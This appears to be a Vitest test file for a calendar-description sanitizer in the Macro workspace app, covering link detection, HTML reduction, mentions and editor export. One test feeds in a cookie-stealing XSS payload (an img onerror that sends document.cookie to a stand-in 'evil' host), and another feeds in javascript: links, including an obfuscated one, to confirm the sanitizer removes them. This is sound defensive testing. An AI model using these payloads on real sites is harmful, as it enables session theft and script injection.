Macro is a unified workspace for teams: email, chat, docs, tasks, agents, calls, and CRM — @-linked together with shared AI memory.
TypeScript agentaiai-agentsall-in-onecrmcrm-systememaillinearmcpmessagingnotesnotionofficerustslackslack-alternativestartupstartup-toolstypescriptworkspace
// @vitest-environment jsdom
import { setEditorStateFromHtml } from '@core/component/LexicalMarkdown/utils';
import { HtmlRenderNode, RegisteredNodesByType } from '@macro-inc/lexical-core';
import { createEditor } from 'lexical';
import { describe, expect, it, vi } from 'vitest';
import {
calendarDescriptionToEditorHtml,
exportCalendarDescription,
parseMacroAppLink,
sanitizeCalendarDescription,
} from './calendar-description';
// The editor utilities pull in the plugin barrel, whose leaves open the
// storage and connection-gateway sockets on import.
vi.mock('@service-storage/websocket', () => ({
storageWS: { reconnectIfDisconnected: vi.fn() },
createWebSocketJob: vi.fn(),
}));
vi.mock('@service-connection/websocket', () => ({
ws: { addEventListener: vi.fn(), send: vi.fn() },
state: () => 'closed',
createConnectionBlockWebsocketEffect: vi.fn(),
createConnectionWebsocketEffect: vi.fn(),
}));
const DOCUMENT_ID = '60617ec4-4c58-4e8b-90c6-445aa3172713';
function makeEditor() {
return createEditor({
nodes: RegisteredNodesByType.calendar,
onError: (error) => {
throw error;
},
});
}
describe('sanitizeCalendarDescription', () => {
it('keeps plain provider text readable, line breaks included', () => {
expect(sanitizeCalendarDescription('Sync with the design team')).toBe(
'<p>Sync with the design team</p>'
);
expect(sanitizeCalendarDescription('line one\nline two')).toBe(
'<p>line one<br>line two</p>'
);
expect(sanitizeCalendarDescription(' ')).toBe('');
});
it('links bare urls in text so the detail view can open them', () => {
expect(sanitizeCalendarDescription('Join https://zoom.us/j/123 now')).toBe(
'<p>Join <a href="https://zoom.us/j/123">https://zoom.us/j/123</a> now</p>'
);
expect(sanitizeCalendarDescription('See macro.com for details')).toBe(
'<p>See <a href="https://macro.com">macro.com</a> for details</p>'
);
expect(
sanitizeCalendarDescription('one https://a.com two https://b.com')
).toBe(
'<p>one <a href="https://a.com">https://a.com</a> two <a href="https://b.com">https://b.com</a></p>'
);
});
it('links bare urls inside provider html without touching existing links', () => {
expect(
sanitizeCalendarDescription(
'<p>Docs at https://example.com/x and <a href="https://example.com/y">here</a></p>'
)
).toBe(
'<p>Docs at <a href="https://example.com/x">https://example.com/x</a> and <a href="https://example.com/y">here</a></p>'
);
});
it('links bare emails but leaves code-like tokens as text', () => {
expect(sanitizeCalendarDescription('Edit parser.ts before sync')).toBe(
'<p>Edit parser.ts before sync</p>'
);
expect(
sanitizeCalendarDescription('Email [email protected] to confirm')
).toBe(
'<p>Email <a href="mailto:[email protected]">[email protected]</a> to confirm</p>'
);
});
it('keeps angle brackets in plain text as text', () => {
const safe = sanitizeCalendarDescription(
'Send the agenda to <[email protected]>\nOwner: <TBD>'
);
expect(safe).toBe(
'<p>Send the agenda to <<a href="mailto:[email protected]">[email protected]</a>><br>Owner: <TBD></p>'
);
// Already-safe output must not change on the next pass.
expect(sanitizeCalendarDescription(safe)).toBe(safe);
});
it('decodes provider-escaped entities in plain text', () => {
expect(sanitizeCalendarDescription('Tom & Jerry <3')).toBe(
'<p>Tom & Jerry <3</p>'
);
});
it('reduces provider html to the portable subset', () => {
expect(
sanitizeCalendarDescription(
'Agenda:<br>- one<br><a href="https://example.com/notes" target="_blank" style="color:red">notes</a>'
)
).toBe(
'<p>Agenda:<br>- one<br><a href="https://example.com/notes">notes</a></p>'
);
expect(
sanitizeCalendarDescription(
'<div>first</div><div><b>second</b></div><ul><li>item</li></ul>'
)
).toBe('<p>first</p><p><b>second</b></p><ul><li>item</li></ul>');
});
it("strips the editor's own theme classes and styles", () => {
expect(
sanitizeCalendarDescription(
'<p class="my-4 first:mt-1.5 md-p" dir="ltr"><span style="white-space: pre-wrap;">hello</span></p>'
)
).toBe('<p>hello</p>');
});
it('removes html-render markers and active content', () => {
const hostile =
'<div class="macro_html_render" data-html-render="true"><img src="x" onerror="fetch(\'//evil/\'+document.cookie)"><template shadowrootmode="open"><script>1</script></template></div><p onclick="steal()">hi</p>';
const safe = sanitizeCalendarDescription(hostile);
expect(safe).toBe('<p>hi</p>');
expect(safe).not.toMatch(
/onerror|onclick|img|script|html_render|html-render/
);
});
it('drops links with unsafe schemes but keeps their text', () => {
expect(
sanitizeCalendarDescription(
'<p><a href="javascript:alert(1)">click</a> <a href=" java\nscript:alert(1)">me</a></p>'
)
).toBe('<p>click me</p>');
});
it('keeps mention display text without identity attributes', () => {
const safe = sanitizeCalendarDescription(
'<p>ping <span data-user-mention="true" data-user-id="macro|auth0|u_123" data-email="[email protected]" data-display-name="Teo Nys">Teo Nys</span>' +
' re <span data-contact-mention="true" data-contact-id="c_456" data-email-or-domain="glycotech.com" data-is-company="true">GlycoTech</span></p>'
);
expect(safe).toBe('<p>ping Teo Nys re GlycoTech</p>');
});
});
describe('calendarDescriptionToEditorHtml', () => {
it('marks Macro links so the editor rehydrates mention pills', () => {
const html = calendarDescriptionToEditorHtml(
`<p>Review <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">August Cycle Planning</a> and <a href="https://example.com/x">the brief</a></p>`
);
const body = new DOMParser().parseFromString(html, 'text/html').body;
const [mention, external] = Array.from(body.querySelectorAll('a'));
expect(mention.getAttribute('data-document-mention')).toBe('true');
expect(mention.getAttribute('data-document-id')).toBe(DOCUMENT_ID);
expect(mention.getAttribute('data-block-name')).toBe('md');
expect(mention.getAttribute('data-document-name')).toBe(
'August Cycle Planning'
);
expect(external.hasAttribute('data-document-mention')).toBe(false);
});
it('only recognizes app links on Macro origins', () => {
expect(
parseMacroAppLink(`https://evil.example/app/md/${DOCUMENT_ID}`)
).toBeUndefined();
expect(
parseMacroAppLink(`https://macro.com/app/task/${DOCUMENT_ID}`)
).toEqual({ blockName: 'task', documentId: DOCUMENT_ID });
expect(parseMacroAppLink('not a url')).toBeUndefined();
});
it('leaves app pages that are not entities as ordinary links', () => {
const href = `https://macro.com/app/booking/${DOCUMENT_ID}#token`;
expect(parseMacroAppLink(href)).toBeUndefined();
const html = calendarDescriptionToEditorHtml(
`<a href="${href}">Manage</a>`
);
const anchor = new DOMParser()
.parseFromString(html, 'text/html')
.body.querySelector('a');
expect(anchor?.hasAttribute('data-document-mention')).toBe(false);
});
});
describe('exportCalendarDescription', () => {
it('exports an empty editor as an empty description', () => {
const editor = makeEditor();
setEditorStateFromHtml(editor, '<p></p>');
expect(exportCalendarDescription(editor)).toBe('');
});
it('exports portable html with mentions reduced to text and links', () => {
const editor = makeEditor();
setEditorStateFromHtml(
editor,
`<p>ping <span data-user-mention="true" data-user-id="macro|auth0|u_123" data-email="[email protected]" data-display-name="Teo Nys">Teo Nys</span>` +
` about <span data-document-mention="true" data-document-id="${DOCUMENT_ID}" data-document-name="August Cycle Planning" data-block-name="md">August Cycle Planning</span></p>`
);
expect(exportCalendarDescription(editor)).toBe(
`<p>ping @Teo Nys about <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">August Cycle Planning</a></p>`
);
});
it('is stable across a load and export round trip', () => {
const stored = `<p>Agenda:<br>- one</p><ul><li>item <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">Plan</a></li></ul>`;
const first = makeEditor();
setEditorStateFromHtml(first, calendarDescriptionToEditorHtml(stored));
const exported = exportCalendarDescription(first);
const second = makeEditor();
setEditorStateFromHtml(second, calendarDescriptionToEditorHtml(exported));
expect(exportCalendarDescription(second)).toBe(exported);
});
it('never carries a raw-html node', () => {
expect(RegisteredNodesByType.calendar).not.toContain(HtmlRenderNode);
const editor = makeEditor();
setEditorStateFromHtml(
editor,
calendarDescriptionToEditorHtml(
'<div class="macro_html_render"><img src="x" onerror="1"></div><p>safe</p>'
)
);
expect(exportCalendarDescription(editor)).toBe('<p>safe</p>');
});
});